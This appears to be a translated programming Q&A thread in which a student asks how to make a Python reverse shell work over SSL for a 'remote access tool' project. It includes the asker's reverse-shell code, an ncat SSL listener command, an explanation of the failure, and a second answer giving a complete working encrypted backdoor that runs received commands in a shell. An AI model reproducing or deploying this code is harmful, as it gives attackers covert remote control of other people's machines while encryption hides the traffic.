在python中反转SSL上的shell

时间:2016-05-11 22:15:56

标签: python shell sockets ssl

对于我的大学项目,我必须使用python创建一个远程访问工具。我可以在一个简单的TCP套接字上轻松完成,但是当涉及SSL套接字时,我会遇到问题。

以下是代码:

#/usr/bin/python3

import socket
import ssl
import subprocess
import os

# SET VARIABLES
HOST, PORT = '127.0.0.1', 1234

# CREATE SOCKET
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)

# WRAP SOCKET
sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)

sock.connect((HOST, PORT))
os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.dup2(sock.fileno(), 2)

p = subprocess.call(["/bin/bash", "-i"])

当我尝试用ncat --ssl -nlvp 1234听另一边时,反向外壳立即连接和断开连接,没有出现任何内容;如果我删除了sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)我得到了一个工作后门,但是在纯文本套接字上。

有人可以向我解释这个问题吗?也许给我一个解决方案?

2 个答案:

答案 0 :(得分:1)

TCP在OS内核中实现,而SSL在用户空间中实现。使用fileno()获得的文件描述符仅是内核表示形式。因此,您的代码首先建立TCP连接(内核空间),然后将TCP套接字包装到SSL(用户空间)中。但在建立SSL连接后,您尝试直接在TCP套接字上写入,而不是根据SSL协议包装数据。这将立即导致无效的SSL协议数据和连接关闭。

相反,您需要创建子进程并在父进程和子进程之间交换数据,通常是通过将stdin / stdout映射到管道或套接字对。然后在父级中,您可以使用SSL套接字转发子级数据,并在从SSL套接字读取子级后将数据推送到子级。

要知道每个文件描述符上的数据何时可用(即SSL套接字和与子进程的通信),您可以使用select。请注意,在使用带有SSL套接字的select时也必须特别小心,即使用SSL进行简单选择是不够的,但您必须use pending

答案 1 :(得分:1)

老问题,但这是我的解决方案,正如Stteffen Ullrich所说的那样;

import os
import socket
import subprocess
import ssl

# Create a socket
def socket_create():
    try:
        global host
        global port
        global ssls
        host = '127.0.0.1'
        port = 9999
        s = socket.socket()
        ssls = wrappedSocket = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1)
    except socket.error as msg:
        print("Socket creation error: " + str(msg))


# Connect to a remote socket
def socket_connect():
    try:
        global host
        global port
        global s
        ssls.connect((host, port))
    except socket.error as msg:
        print("Socket connection error: " + str(msg))


# Receive commands from remote server and run on local machine
def receive_commands():
    global s
    while True:
        data = ssls.recv(1024)
        if data[:2].decode("utf-8") == 'cd':
            os.chdir(data[3:].decode("utf-8"))
        if len(data) > 0:
            cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes)
            ssls.send(str.encode(output_str + str(os.getcwd()) + '> '))
            print(output_str)
    s.close()


def main():
    socket_create()
    socket_connect()
    receive_commands()


main()